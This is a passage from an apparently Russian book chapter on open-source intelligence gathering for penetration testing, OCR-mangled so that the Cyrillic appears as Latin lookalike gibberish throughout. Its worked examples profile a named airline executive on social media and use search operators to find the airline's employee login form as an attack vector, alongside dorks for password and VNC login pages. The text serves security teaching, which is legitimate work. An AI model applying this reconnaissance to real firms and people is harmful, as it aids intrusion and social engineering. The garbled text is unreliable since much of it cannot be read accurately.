CTAaTOYHO CKPBITHO. Bropast ipobiieMa — 9T0 OOBIYHBIE JIFO/IH, KOTOPBIE TTYOJIUKYIOT
TaKyio HHGOPMAIIIIO, KOTOPast MOKET IPIUHECTH OTTPe/IeJICHHBIN BPE/l KAK UM CaMUM,
TaK U OPraHU3aAIUsIM, IJie OHU PAbOTAIOT, MJIK Ja’ke CTPaHaM, B KOTOPBIX OHU TTPOKHU-
BatoT. [10 IPUMEPHBIM TIOJICIETAM, B 9TOM TO/Y OOTIUH YOBITOK OT BBIIEOTTHCAHHBIX
JIefiCcTBUI MOKET ocTudb 0KoJI0 3 TpiH posmapoB CIITA. B cBg3u ¢ aTum MHOTHE
KOPIIOpaIlUK 1 rocyiapcTBa Hauaau aktuBHo uiBectuposath B OSINT (Open Source
INTelligence, pa3Bejika 110 OTKPBITHIM HCTOUHHKAM ).

A66pesuatypa OSINT o6osHauaeT BCrO MyOJINYHO HOCTYITHYIO HHMOPMaIiio. XOTst
JOTIO/THHHO HEM3BECTHO, KOT/IA BIIEPBbIE HAYAIIM UCIIOJIB30BATh ATOT TEPMUH, OJIHAKO
ceifuac moji HUM MOPa3yMeBaETCst OVCK M AHAJIU3 JIAHHBIX, TOCTYTIHBIX B Ty6Iny-
nom nipoctpanctie. Cunraercs, uto CIITA B iepuo/1 X0J10/{HO BOWHBI CTAJIN OJTHUMHI
U3 NePBbIX, KTO MHMPOKO MPUMEHUIT TaKkoii nmoaxoa. CpaBeinBoCTH Paju CTOMT 3a-
METHTD, 4TO HE O{HNA OHK 3aHUMAJINCH COOPOM M AaHATTM30M JIOCTYITHON nH(OpMaIuH,
ATO JIETAJI0 MHOJKECTBO CTPaH.

ITpusenem onpenenenue OSINT gemapramenta oboponst Coepunennnix ItaTos:
«OrxporiTag passeabiBaTesnbuas nudopmamug (OSINT) — aro mosydennas us
0OTIEIOCTYITHBIX UCTOYHUKOB U 00paboTaHHast WH(MOPMAIIHsI, PACIPOCTPaHsIeMast
B COOTBETCTBYIOIIEH ayIUTOPUHN C I[EJIbI0 YAOBJIETBOPEHISI KOHKPETHBIX TOTPEO-
HOCTell Pa3BeIKN».

Brociencrsun 6611 co3pan Haruonaababii neaTp OSINT, 3azaveil KOTOpOro sB-
Jsgercs cO0p ¥ aHaIu3 00IEeA0CTYNHON nH(popMalui KaK U3 OHJIAlH-, TaK U U3
odyaiti-uctounnkoB. [loce cepun TepakTOB M TPUHSATUS COOTBETCTBYIONINX 3a-
KOHOJIATEIbHBIX aKTOB 3Ta Opranu3salus Obljia IeperMeHoBaHa U BOIILIA B COCTAB
[HenTpanbHOTO pa3Be/IbIBATENBHOTO YIIPABIEHUS.

OSINT BbIZICASIOT U3 IPYTUX METOOB MOMCKA WHMOPMAIINH, TaK KaK Bce JTaHHbIE
JIOJKHBI COOUPATHCST TOJIBKO U3 OTKPBITHIX HCTOUHUKOB Ha 3aKOHHBIX OCHOBAHUSIX,
B TOM uwcJie Oe3 HapyIleH!s aBTOPCKIX [IPAB WM BTOPKEHUS B YACTHYIO JKU3Hb.

Bo Bpemst 1oucka JaHHBIX UCCIEA0BATE MOTYT OOHAPY/KUBATh MPUBATHYIO HH(POP-
MAIHIO, I0CTYTI K KOTOPO#i He ObLJI OrpaHuYeH H0JKHBIM 0Opasam. Takum myTem, Ha-
HPUMED, MOSIBJISIIACh nH(bopMarus Ha u3BectHoM caiite WikiLeaks. Vcnosb3oBaHie
takoil nadopmanuu nporusopeunt dunocopun OSINT u obozHATAETCS APYTUM
tepmuHoM: NOSINT (Net-based Open Source INTelligence).
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OSINT BriouaeT B ceOs1 MHOKECTBO HCTOUHUKOB HH(MOPMAIIUH, JJIsI TIOMCKA MOTYT
UCTIOJTh30BAThCSI:

o untepHeT ((hopyMbI, 6JIOTH, CAUThI CONUATBHBIX CETEH, CAllThl 0OMeHa BUJIEO,
Buky, 3anucu Whois 0 3aperucTpupoBaHHbIX JOMEHHBIX UMEHAX, METaJlaHHbIe
(aiinos, DarkNet-pecypcbl, ganHble reosokarmu, IP-aapeca, mOMCKOBbIE CHCTEMBbI
1 BCE, UTO MOKHO HAWTU B UHTEPHETE);

® TpAJUIMOHHBIE CPE/ICTBA MACCOBOI MH(MOPMaIuu (TesJeBUIeHIEe, PAJINO, Ta3€Thl,
KHUTH, KypPHAJIbI);

®  CreruaIn3upOBaHHbIE JKYPHAIDI, HAYYHbIE MYOIMKAIIN, TICCEPTAIII, MATEPH-
aJibl KOH(epeH i, TpoduaIn KOMIIaHU, TOJ0BbIE OTYEThI, HOBOCTH, TTPO(UIN
COTPYIHUKOB U PE3IOME;

® (HoTOo U BU/IEO0, BKJIIOUYAST METAJIAHHDIE,;

® TeompocTpaHCcTBeHHAS HHPOPMAITHS (KapThl, KOMMEPUECKHE U300 PasKeH s TIPO-
JIyKTOB).

OSINT mupoKko UCIoIb3yeTcst XakepaMu U CHEIUAJNCTaMU 110 NH(MOPMAITMOHHOT
GesoracHocTH 715t cO0pa HHPOPMAIIUU 0 KOHKPETHOI 1esin B nHTepHeTe. OH TakKe
CUMTAETCS TEHHBIM WHCTPYMEHTOM IPU TTPOBEIEHUH aTaK Mo TUITY COIUAJIbHOM
urkerepun. [TepBoiil aTar mpu J060i METOANKE TECTUPOBAHS Ha TPOHUKHOBEHHE
HauuHaeTcs ¢ pasBeaku (apyrumu caoamu, ¢ OSINT). Pucynok 3.1 nokasbiBaer
OCHOBHbI€ 9TAIIbl TECTUPOBAHUS HA IIPOHUKHOBEHUE.

[NoBblleHne
PasBeaka IKenayaTauma npvBeAerui CokpbiTvie
% ) . !
(OSINT) Ckanynposarine yA3BMMOCTEN obecneyeHne cAepOB
AocTyna

Puc. 3.1. OcHOBHble 3Tanbl TECTUPOBaHUS Ha MPOHWKHOBEHWE

Nudopmarmio OSINT MoxKHO cOOMPaTh TPEMsT OCHOBHBIME METOIAMU: IIACCHUBHBIM,
MOJIYTACCUBHBIM U aKTUBHBIM. BbiGop MeTo/1a c60pa 3aBUCHT OT KOHTEKCTA, 8 TAKIKE
OT THTIA JIAHHBIX, KOTOPBIE BAC MHTEPECYIOT.

ITaccuBHbIil cOOpP AaHHBIX. DTO HanboJIee YaCTO UCTIOIB3YeMblil THIT cO0pa JaHHBIX,
MTOTOMY YTO €T0 OCHOBHOM TI€JTIO SIBJISIETCST TIOJTydeHre NHPOPMAIUHU O T1eJIN TOJTBKO
13 00IIEeIOCTYITHBIX PeCypcoB. B aToM cirydae Bata 1iesib HIYETo He 3HAET O Balleit
JIeSITEJIBHOCT.

ITOT BU/JI TIOMCKA MTO3BOJISIET OCTAThCST aHOHUMHBIM 1 JIOJKEH TTPOBOIUTHCST CKPBITHO.
C TeXHUYECKOIl TOUKK 3PEHUsT 9TOT TUII cOOPa TIO3BOJISET TIOJYUUTh JIUIIb OTPaHK-
YeHHYI0 HH(OPMAIHIO O 1eJId, TIOTOMY 4TO BbI He OTIIPaBJisieTe HUKakoro Tpadrka Ha
11eJIeBOI cepBep — HU MPSAMO, HU KOCBeHHO. OCHOBHBIM HEIOCTATKOM JIAHHOTO THTIA
ABJISETCS TO, UTO BBl MOKETE MOJYYUTD YCTAPEBITYI0 MHGOPMAITHIO.

IMonynaccurHblii c60p AaHHBIX. ITOT THUI cOOpPa JAHHBIX MOAPA3YMEBAET, UTO HC-
cJIe/1oBaTe/b OTIIPaBJ/IsieT OrPaHMYEHHbBIN TpaduK Ha 1iejieBble cepBepbl IS 110y -



32 aBa 03 ¢ C60p OTKPLITON MHDOPMaLIMK O LienU

yeHust 06Iei nHGOPMAIIUU 0 HUX. DTOT TPahUK MAKCUMAIBHO MMOXO05K Ha TUITMYHBII
nHTepHeT-TpadUK, TaK KaK OH He JI0JKeH IIPUBJIeKaTh BHUMAaHKE K Balllel JiesaTelb-
HOCTH. BBl IpoBo/IMTE HE TIIYGOKOE UCCIIEIOBAHIE OHIAITH-PECYPCOB IEJIH, & TOJIBLKO
UX MTOBEPXHOCTHOE U3yueHue, He TTPUBJIEKAs MOBBIIIEHHOTO BHUMAHUS CO CTOPOHBI
AMUHUCTPATOPOB TeJIEBON CUCTEMBI. XOTSI 9TOT TUTI cH0PA CINUTAETCST B HEKOTOPOM
poJie aHOHUMHBIM, HO 3aITFCH O BAIIUX JEHCTBUSIX BCE PABHO OCTAHYTCS B CHUCTEM-
HBIX JKYPHAIaX; O[IHAKO UCCAEOBAHIE HEOOXOIMMO MPOBOANTEH TAKMM 00Pa3oM,
9TOOBI ATH 3AMUCH HENb3st OBLIO KIacCudUIMPOBATh KaK TPeHAMEPEHHbIH cHop
nHpopMaIu.

AxXTHBHBII COOp JaHHBIX. B 9TOM ClleHapUU BBl HATIPSIMYIO B3aUMO/IeiiCTByeTE
¢ cucTeMot, 4ToOBI cobpath uHbopManuio o e, Ilenb MOKeT y3HAThH O TIpoTIecce
c60pa JaHHBIX, TOCKOJIbKY OCYIIECTBIISIONINET €T0 YeTI0BEK, CKOPEE BCETO, UCTIOIb3YET
UHCTPYMEHTBI aBTOMATHYECKOTO cGopa mHMOpMAIH, paboTaIoIIHe MO OMpe/IeIeH-
HOMY HIa0JIOHY.

Takue HHCTPYMEHTHI TIO3BOJISIOT TTOJTYYUTh HHGOPMAIIHIO 00 OTKPBITHIX TTOPTAX,
HAJTMYHUN YSI3BUMOCTEH, TPUIIOJKEHUSAX 1 MHOTOE pyroe. Takoil Tpacduk GyneT Boi-
TJISIIETh KaK MOJ03PUTENbHBIN U OCTABUT CJI€/Ibl, KOTOPbIe MOTYT ObITh HANIEHBI
cucreMoii obHapyskerus Bropsxkenuil (1DS) nau cucreMoil ipeioTBpaiieHnst BTop-
sxenuit (IPS). IlpoBesenne aTak o TUITY COIMAIbHON MHKEHEPUU B HEKOTOPDIX
CITYYasaX TaKyKe CINTAETCST BUZIOM aKTHBHOTO cO0pa WHGMOPMAITHTL

MaccuBHbIM COOP AAHHbIX

MbI HAYHEM € PACCMOTPEHHST MHCTPYMEHTOB JIJIst ITACCUBHOTO cOopa JaHHbIX. B aToM
pasjiesie OCHOBHOM yTiop GyzieT cjieJial Ha paboTy ¢ TAKUMU TIOMCKOBBIME CUCTEMAMH,
kak Google, u 6oJee crienrausupoBaHHbiMU — Kak Shodan.

PaboTa ¢ NOMCKOBbIMK CUCTEMAMU

Kasknpiit ienb KosimuecTBO nH(pOpMaIUm, HaXOAIIENCST B OTKPBITON YacTH UHTEP-
HeTa, HeYKJOHHO pacTeT. MOKHO ObITh IOJHOCTHIO YBEPEHHBIM U B TOM, YTO TAKIKE
HEYKJIOHHO YBEJMUUBAETCS KOJIMYECTBO JIAHHBIX B TeMHOU 11 riryOokoil wactu Cern,
HO HaM JI0CTOBEPHO HEM3BECTHO, HACKOJIBKO ObICTPO. YUTO JKe Kacaercss OTKPBITBIX
JIAHHBIX, TO COTJIACHO CTATUCTUKE, KOJTMYECTBO CAUTOB B CETU Y3K€ MTPEBBICUJIO OT-
MeTKY B iBa MIJLIapaa, a Google yTBep:kaaet, 4To IporHaeKCupoBa 60Jiee COTHU
TPUJLTMOHOB CTPaHUI] (He IyTalTe CAliT U CTPAHUILY — B JIAHHOM KOHTEKCTE UMEEeTCs
B BUJLY, YTO OJIH CAUT MOKET COZeP>KaTh MHOKECTBO CTPAHMUIL).

B takoM orpoMHOM KoJIMYeCTBE MH(OPMAIIMU HECTOXKHO U 3AIyTaTbCS — KaK Mbl
3HAEM, TIOUCKOBBIE POOOTHI TIOCTOSTHHO CKAHUPYIOT CTPAHUIIBI HA HATHYUE U3MEHE-
HUH U CCBITIOK, 3aTEM, TIPH HEOOXOAUMOCTH, OOHOBJISAIOT CBOIO 6a3y JaHHbIX. B cBOIO
0Y€epe/ib, KOT/IA MOJIb30BATEND 3aIIPAIIUBAET KaKy10-H00 NH(HOPMAIIIO, OH OOBIYHO
TOJTY9aeT OTPOMHOE KOJIMIECTBO PEIYITBTATOB, KOTOPDIE TIPEACTABIISIIOT COOOH CMeCh
BU/Ie0(hailIoB, KAPTUHOK, TECTOBOU 1 JAPYTOIl MH(MOPMAIIUH.
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C oHOI CTOPOHBI, B TAKOM MTOTOKE JJAHHBIX 0YeHb TTPOCcTO TloTepsaThes. [leperpy-
JKeHHOCTh HH(OpMaInedi 1efiCTBUTENBHO SIBJSIETCS OJIHOM U3 aKTYaJIbHbIX TIPOOJIEM
coBpeMeHHOTO YesioBeka. C IPYroil CTOPOHBI, ecyiu Gbl He OBLIO MOUCKOBBIX CUCTEM,
BaM MPUIILIOCH ObI BPYYHYIO TPOCMATPUBATH OTPOMHOE KOJIMYECTBO CTPAHUIL B TIO-
HCKax HyKHOU uHpopMaru. [TONCKOBbIE CUCTEMBI TIO3BOJISTIOT OBICTPO HAXOIUThH
peJieBaHTHY0 WH(DOPMAIINIO 110 HeOOXOANMBIM BaM KJIIOUEBBIM CJIOBaM, U 3TO, 6e3-
YCJIOBHO, B pasbl o6jteryaet mouck B Cerut. OHAKO TIPH MOMCKE TaKiKe HeOOXOIUMO
YYUTBIBATH, YTO TIOUCKOBBIE CHCTEMbI OY/IYT BBIIABATH BAM PE3YJIHTAThI MOUCKA B 32a-
BUCHUMOCTH OT PaHTa CTPaHuIlbl. UeM BbIIe PaHT CTPAHUILB, TeM GoJiee BHICOKOE Me-
CTO OHa Oy/IET 3aHUMATD B PE3YJIBTATE TIOUCKA. AJITOPUTM PAHKUPOBAHUS SIBJISIETCST
TaHOW 32 CEMbBIO TI€UATSIMI, HUKTO, KPOMe Pa3pabOTINKOB, He 3HAET TOUHO, KaK OH
JIETICTBYET, M C/IeJIAHO 3TO CTETNAJIBHO, C T[eJThI0 NCKITIOUYNTh BO3MOKHOCTD BIIMSTHUS
Ha ero pabory. Ho crieruasucTs! 1o MpoABUKEHIIO CAlTOB BCE JKE YCTAHABIMBAIOT
KOPPEJIAIII MEK/Y CBOUMHE JICHCTBUSAME ¥ pe3yJabrataMil paboThl aJTOPUTMOB.
[IpaBza, k TOMy BpeMeHH, Kak aTa nH(OpMAIHs CTaHET AOCTYITHA ITMPOKOMY KPYTy
M0JIb30BATENICH, OHA, BEPOATHO, TOTEPSIET CBOIO aKTYATbHOCTH, BE/Ib KOMIIAHUHN pe-
TYJISIPHO BHOCSIT U3MEHEHUsT B paboTy aaroputMoB. COOTBETCTBEHHO, TIOCJIE STOTO
M3MEHUTCS MECTO caliTa B pe3yJbTaTax BbIaud. ITO MOXKET MPUBECTH K TOMY, UYTO
ecJid paHblie Tpedyemast BaM WHMOPMaI HAXOAWIACh Ha TIEPBOM CTpaHUIlEe pe-
3YyJIBTATOB IIOMCKA, TO Yepe3 HelesIIo Ta JKe CTPaHu1la, HallleHHas 110 TOMY JKe CaMo-
My 3a1pocy, 6y/IeT pacroiaratbcst B CaMOM KOHIIE. A BeJlb 110 CTATUCTUKE GOJIbIIast
YacTb TTOJb30BATENEH PEIKO TPOCMATPUBAET aske BTOPYIO CTPAHUILY Pe3yJIbTaTOB.

OcnosHble TionckoBbie cucrembl — Google, Yandex, Bing u ap. — gaioT HaMm BO3-
MO’KHOCTD MCII0JIb30BaTh UX OECILIaTHO. Y KaKI0i IIOMCKOBOW CUCTEMBI €CTh CBOM
0CO0bIiI CHHTAKCUC, KOTOPBIN MOMOKET HallTH MMEHHO Ty MH(DOPMAIIMIO, KOTOpast
HaM HY’)KHA, OT(UIBTPOBBIBAs HEHYKHbIE JlaHHble. PaccMaTpuBaTh MPUMEPbI T10-
HCKa MHTEPeCyoLMX Hac AaHHbIX HauHeM ¢ Google BBUY TOrO, 4TO 5Ta IIOMCKOBast
cucTeMa SIBJISIeTCST OJTHOM M3 CaMbIX TIOMYJISIPHBIX, COEPIKUT OTPOMHOE KOJIMYECTBO
undopMmaiyy 1 00J1a1aeT XOPOLIO Pa3BUTLIM CUHTAKCHCOM HAIIMCAHKS 3aIIPOCOB.

Knwouesble cnoBa

[Ipeskie ueM OKYHAThCsI € TOJIOBOM B 1e6PU HAIIMCAHMSE 3aIIPOCOB, CTOUT 3aTPOHYTh
TeMY KJIOUEBBIX CJIOB, KOTOPast ABJsIEeTCS 001Ieil I BCeX MOUCKOBBIX CUCTEM.
[TpaBuIbHO HATMCAHHBII 3aMPOC MO3BOJIUT TIOMCKOBBIM CUCTEMaM BbIAATh HoJiee
PEJIEBAaHTHBIN PE3yJBTAT ¢ MEHBIINM KOJMYECTBOM HEHYKHON MHMOPMAIIH, YTO
YIPOCTUT ee 06paboTKY.

Korza nonckosbie poOOThI aHAIU3UPYIOT CTPAHUIIBL, OHU YAEJISIOT 0CO00e BHUMAHIE
BCTPEUAOIUMCS KJIIOUEBBIM cIoBaM. M co/ib3ys pa3ndHbie KJI0UueBbie CJI0BA, BB
Gyzere MOJyYaTh OTIUYAIONINECS IPYT OT APyTa PE3YJIbTAThI, aKe €CJIU MbI TOBO-
pUM 0 cHHOHKMMaxX. Hair Mo3r yCTpoeH TakuM 0OpPasoM, 4TO MbI BCEr/la CTapaeMcst
HAXOJUTh ObICTPBIE 1 JIETKKE PEIIEHNUS, @ 9TO, B CBOIO OUepe/ib, IPUBOAKT K TOMY, UTO
MbI HAUMHAEM MBICJIUTH IHA0JIOHHO U UCIIOJIb30BATh Te JKe TIOMCKOBBIE 3aIIPOCHI, UTO
1 MWLJIMOHBI II0JIb30BaTe eil. B 0ObIYHOM )KM3HU 9TO HaM aske roMoraet, ga u SEO-
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CIIEIUATUCTHI ONTUMUUPYIOT CTPAHUIIBI TAKUM 00PasoM, YTOObI Mbl MOTJIN UX HAUTH
GBICTPO ¥ JIETKO C TIOMOIIBIO CAMBIX MOMYJISIPHBIX 3AITPOCOB, TEX, KOTOPBIE TIEPBBIME
PUXOJIAT B roJioBy. J[pyroe /ies10, eciim Mbl XOTUM HAlTH He TIpeiHa3HauYeHHYIO /715
MIMPOKOTO KPyTa MoJb30BaTeseil nHPOPMAIINIO, KOTOPYIO MOTJIH, HAllpuMep, 110
omubKe CAeTaTh JOCTYITHOW MOMCKOBBIM CHCTEMAM, HO KOTOPAsT COBEPIIEHHO He
OTITUMHU3WPOBAHA JIJI MH/EKcani. Ha Takwmx cTpaHUIax MOTYT CO/lepKaThCs CO-
KpallleHuUsT, TeXHHYeCKHUe TEPMUHBI U TpaMMaTHUeCKUe OOk, VIMEHHO 1715t TOMCKa
Takoil MHMOPMAIUU U BO3HUKAET HEOOXOMMOCTh MOAG0Pa KIIOYEBBIX CITOB.

BeByCJIOBHO, CUaeTb n HpI/II[yMbIBaTb BO3MOJXHbBIE BapI/IaHTbI 33HpOCOB — 3a/la4da
HeJIeTKast U He Beer/ia GJaroiapHasi, oaToMy JIJist 00JIerdeHus JAaHHOU 3a1aui ObLIO
CO3/1aHO HECKOJIBKO XOPOIIMX MHCTPYMEHTOB:

e https://ads.google.com/intl/ru_ru/home/tools/keyword-planner/;
e https://www.onelook.com/reverse-dictionary.shtml;
e https://wordstat.yandex.ru/.

Mbr1 He GyeT OCTaHABIUBATHCST HA HUX MOAPOOHO, BEIb TAKON TOMCK — CJUITKOM
TOHKO CIeUAIU3UPOBAHHAsA PaO0Ta U BHIXOUT 32 PAMKH COAEPKAHK 9TON KHUTH.

Google

Ha mannsiii MomenT Google siBiisieTcst 01HOM 13 caMblil HOIYJISIPHBIX TIOMCKOBBIX CH-
CTEeM B MUPE; COTJIACHO CTATHCTUKE, EXKe/THEBHO ee NCTIONB3YeT Ooee 75 % aKTUBHBIX
HOJIb30BATEJIEN MHTEPHETA, OTIIPABJISSE OKOJIO 5 MJIP/L 3a1IPOCOB B JIEHb.

CaMbIM [IPOCTHIM CIIOCOOOM B3aUMOIEHCTBHUS € 9TO CUCTEMOM SIBJISIETCS KCIIOJIb30-
BaHue BeO-BEPCUM, /I HTOTO AOCTATOYHO OTKPBITh CTPAaHIUKY google.com 1 BBeCTH
nouckoBoii 3anpoc. Google Takske HOALEPKUBAET FOJOCOBON BBOJ U MOKET MCKATh
uH(bOpMaIKIO 110 U300pakeHnI0. TakoH IIOMCK JOCTaTOYHO TPUBUAIEH U BCEM 3Ha-
KOM, TIO9TOMY PACCMOTPHM Jiajiee CIIeIUaTbHbIe ONEePATOPHI JJIsl yTOUHEHUS 3a1Ipoca
1 TIOBBIIIEHUSI PEJIEBAHTHOCTH BbIJAYM.

ITouck B conuanbHbIX ceTax. [IpezanonoxnuM, B Xo/ie TOBEPXHOCTHOTO U3YYCHUS
uropmanuu o aBuakomanuu British Airways (BpuraHckue apuannann) 8 Buku-
eI MBI y3HAJIW, YTO HA IAHHBIT MOMEHT PYKOBO/ICTBO KOMIIAaHUEH OCYIIEeCTBIISET
Hekwit [Tlon ot (Sean Doyle). TTockombky 910 3apyOeskHas KOMIIAHMUSI, TO CKOpee
BCETO, ee PYKOBOJICTBO Hcnonb3yer Facebook murst kommymukarim. TTouck 1o 3armpo-
cy @facebook:sean doyle BbIJACT HAM CJIMIIIKOM MHOI'O IAHHBIX: OKa3bIBAETCS, €CTh
MHOTO JIIOJIEH ¢ TAKUM UMeHeM U (haMUJIUeid.

OrpaHnunM HaIl MTOUCK, UCMOIb3ys onepaTop AND. Hac Benb mHTepecyeT TOJIBKO
TOT YeJIOBEK, KOTOPBII CTOUT BO IJlaBe KPYyIIHOI Kopropaiuu. Peaysibrar noucka
TpejicTaBJieH Ha puc. 3.2.

Kak Mbl BUZUM, Telepb HAM YAaJ0Ch MOJYyIUTh GoJiee PeJIeBAHTHBI OTBET. MbI
YBU/IEJTH TTPOMUIIL 3TOTO YeJTOBEKa B COIMAIBHON CeTH, y3HAIN, KaK OH BBITJISI/INT,
U TasKe MOKEM TIOTyIUTh 0GPA3ET] €T0 TOI0CA € TTPEICTABIEHHBIX BU/IEO.
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Hacking DB [

in Facebo Sean Doyle and

Puc. 3.2. PesynbTaT nomcka no 3anpocy @facebook:sean doyle AND british

Tenepb KOPOTKO PaCCMOTPHUM €II1€ HECKOJIbKO OIIepaTOpPOB.

JlJist mOMCKa MO XeNITeraM 0CTaTOYHO 06aBUTH CUMBOJ # B HAYAJIO CTPOKH, Ha-
npuMep: #punksnotdead. B pesysibrate Mbl MOJYYNUM CCBUIKH HA COIMATIBHBIE CETH
(Facebook, VK, Instagram, Tiktok u T. 1.) 1 gpyrue pecypcsl, Tae BCTpedaeTcs JaH-
HBIN TeT.

[l IOMCKa TOYHOTO COBNA/IeHHsI HEOOXOMMMO UCTTOMh30BaTh KaBbruku "". Yarre
BCET0 X UCIIOJIb3YIOT /LIS IoucKa TOYHbIX (hpas. Tak, MoucK 110 cj1oBaM unattended
administrator login Bo3BpalllaeT HaM Pa3JIMYHbIE CAITBI C OTTMCAHUEM 3TOTO CII0CO-
6a Z1ocTyI1a, a BOT IIOKCK T10 3apocy "unattended administrator login" yike BbigaeT
TOJIBKO CCBIIKH Ha CTPAHUIIBI ¢ (DOPMaMU TOCTYTIA K CHCTEMAaM.

Paspaborunku Google HECKOTBKO YIPOCTHIN HaM paboTy TTO TOHKOMY TTOA60PY
KJTIOYEBBIX CJIOB, I06ABUB B CIIUCOK OTIEPATOPOB TUIIBAY ~. [IpeAmonoRum, BaM Hajio
HalTH IpUMepBI peasimsarun xss-atak. [1o samnpocy xss attack ~example Google
BBIZIACT Pe3yJAbTaThl, COOTBETCTBYIOIINE 3aIpocaM xss attack tutorial, xss attack
script u T. 1.

Teneps pacemoTpuM elie onuH Jorundeckuii oneparop — UJIMA. B Google o o603Ha-
yaeTcs cUMBOJIOM |. CKaskeM, BbI y3Ke IIPOCMOTPEN MHOKECTBO IIPUMEPOB XSS-aTaK
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U Terepb XOTHUTE HAWTH TIPUMED UX peasusauy Ha php wau javascript. Toraa Bari
3arpoc OyeT BBITJISAETh Tak: xss attack example php|javascript.

[l MCKIIOYeHHs KaKuX-1100 CJI0B 13 Pe3yJibraTa MOMCKa MCIOAb3yeTCs olepa-
TOp -. Ecain BBI yiKe HalIM MHOKECTBO IIPUMEPOB Peanusalui ataku Ha php, HO
BaM IOIAJAETCs CJMIIKOM MHOTO pe3yJibraToB oT Bright security, nx MOKHO MCKJIIO-
YUTh U3 PE3YJIBTATOB MOUCKA TIPU MTOMOIIN ATOTO OTlepaTopa: xss attack example
php|javascript -bright.

Ecou BbI He MOsKeTe TOUHO chOPMYTUPOBATD 3aIIPOC, BOCTIOAB3YHTECH CUMBOJIOM *,
OH 03HauYaet Moboe ciaoBo. 1o 3apocy xxs * BbI MOJYUUTE CCHLIKU HE TOJBKO HA
nH(MOPMAIUIO 110 JAHHOMY THITY YA3BUMOCTEMN, HO U CCBLIKK HAa KYPCBI U IOKyMEH-
TaIUIo 10 pa3paboTKe.

ITouck B onpeaeeHHOM HHTEPBaJe 3HAYEHHH MOKHO OCYIIECTBUTD, MTPUOETHYB
K MCTIOIb30BAHMIO OTIepaTopa . .. Haiizem, nampumep, urdopMariio 06 yTeuke maH-
HBIX KJIMEeHTOB bputanckux apuanunuii B mepuo/i ¢ 2016 o 2020 rox. Pesyasrarsl,
IIOJIyYEHHBIE 110 3arpocy british airways data leasks 2016..2020, T0O3BOJIAIOT
HaM y3HAaTBh, YTO yTeUKa AeHCTBUTEIbHO nMesa MecTo B 2018 roxy.

[ly1s1 moucka mMOX0:KUX CTPAHMIL HCIIOJIBb3YHTe orepaTop related:; mo 3ampocy
related:vk.com Google BosBpalaer crpaHuIlbl ¢ TIOX0KeH TeMaTHKO — 9T0 ObIBaeT
M0JIE3HO, KOT/Ia BBI HIlleTe MH(OPMAIIUIO HA PEJKNE TEMB.

Wnorpa ciydaercs Tak, 4TO a/IMUHUCTPATOPDI YIAIAIOT NHOOPMAIIMIO CO CTPAHUIL
caiiTa MM MEHSIOT ee, HO KaK Mbl 3HaeM, UHTepHeT IIOMHUT BCe, B TOM UYHCJIe 9TO
kacaetcst Google. Ita cucrema jlaetT HaM BO3MOKHOCTD TOCMOTPETH CTPAHUILY B TOM
BH/IE, B KAKOM OHa OblJIa BO BPEMsI MHAEKCUPOBAHUSA ee POOOTaMU, — JIJIS HTOTO HYJK-
HO BOCIIOJIb30BAaThCS OIlepaTOPOM cache:, HalipuMep cache:ria.com.

[Ipenmonoxum, Ham Hy>kHA UH(DOPMaIUA 0 BpUTaHCKIX aBUATTMHUSX, [IJIS1 3TOTO TI0-
podyeM OCYIIECTBUTD ITOUCK MO KJIIOYEBBIM CJI0BaM British airlines. Pesyubrat
MoKa3aH Ha puc. 3.3.

Kak BusnM, 1o HatemMy 3arpocy TouCKoBast cucteMa Bbijjasia Ham 130 MuTH pesyJib-
taTtoB. COTTacUTECH, UTO €CJIN Balllell 3a7avei siBasieTcst cOOp nHbOPMAIUHT /71T
HOCJIE/IYIOIIEro PoBe/ieHus TecTa Ha nponukHosenne B MIC bpuranckux aBuasiu-
HUIT, TO 06pabOTKa BCEX PE3yJIBTATOB TIOMCKA 3aliMET HE OJIMH MECSIL JakKe Y 1eI0i
KOMaH/IbI CIICIIAJINCTOB. Honp06yeM TIPUMEHUTDH CIICIMAJIbHBbIC OTIEPATOPDI AJIA
YTOUHEHMSI 3a1IPOCa.

YTouHuM 3amnpoc, OrpaHUYUBIINCH TOJIBKO TOW MH(MOpPMAIMel, YTO HAXOUTCS
HEMoCPEICTBEHHO Ha cailTe KOMIaHWM, — K HallleMy 3arpocy 106aBUM OIepaTop
site:; MPEOTIOKNAM, UTO JIJIsI TOCTPOEHUS JATbHENIIEr0 BEKTOPa aTaK Mbl XOTHM
HaiiTy (OpMBI /I BBOJA HapoJieil, — Toraa Halll 3alIpoc OyAeT BHITJISAETh CIIeLy-
oM o6pasoM: login site:britishairways.com. IIpoaHannsupoBas GyKBaJIbHO
MepBble HECKOJIBKO CCBIJIOK, MBI HANLIN (hOPMY aBTOPU3AIUY COTPYAHUKOB aBUa-
kommaHuu (puc. 3.4), f1a enie U ¢ TPOCPOYEHHBIM CEPTU(PUKATOM, UYeM He JIAKOMBIH
Kycodek?
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@ British airlines -

)

Kali Linux 8 Kali Tewls Kali D X Kali Forums ¥ Kali NetHunter = Ex

Google British

British
Airways BRITISH AT

nto Plan:

TEHEPANTLHBIA AHPEKTO

Pranu3aLma;

AEMEPHIE KOMMAHUA

raplc.com

Employee Selt Service - Login BRITISH AIRWAYS

Select login type

@BSAFE

P e R —

[Dan't know your passwned?

O Securnn

i | R | my begie cem

Puc. 3.4. ®opma aBTopm3aumnm ans COTPYAHMKOB aBUaKOMMNaHU1
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[lasmee paccMOTpUM OTTepaToOpPhl, KOTOPBIE TTO3BOJISIIOT OTPAHUYUTD TTOUCK UHQOP-
Maliu OIIpe/leJIeHHbIMU YacTsAMU cTpaHull. Tak, oneparop allintext: orpaHuyur
MOMCK UCKJIIOUUTEIbHO nH(popMalmeii, Bctpevaoieiicsa Ha crpanutie. 1o sampocy
allintext:password login form Google BbIacT Te CTPaHUIIbI, HA KOTOPBIX BCTPEUYa-
IOTCST BCE TPU CJIOBA (CJIEIYET 3AMETUTD, YTO OHU He 00513aTEJIbHO HAXOISITCS PSIZIOM,
HO B TIpe/iesiaX OHOM CTPAHUIIHI ).

Caenyromuii orepatop allintitle: uier nadopmMaluio TOJbKO B Ha3BaHU-
ax crpanull. Ha puc. 3.5 npuBoauTcs: mpuMep pe3yJ/ibrara MOUCKA M0 3aIPOCy
allintitle:vnc login. OGparuTe BHUMAHWE, YTO HA3BAHUSI BCEX CTPAHUILL COJEPIKAT
KOMOWHAIMIO 9TUX JIBYX CJIOB. DTOT JK€ OTMEPATOP MOKHO MPUMEHSITH P TTOUCKE
KapTHHOK, TOT/Ia TONCKOBAsI CHCTEMA BBIIACT BCE M300PAKEHsI, B HA3BAHIIX KOTO-
PBIX COLEPKUTCS 3aJaHHOE CJIOBO.

= Kal s M Kali Forums o2 Kali nter =

albnbilene login

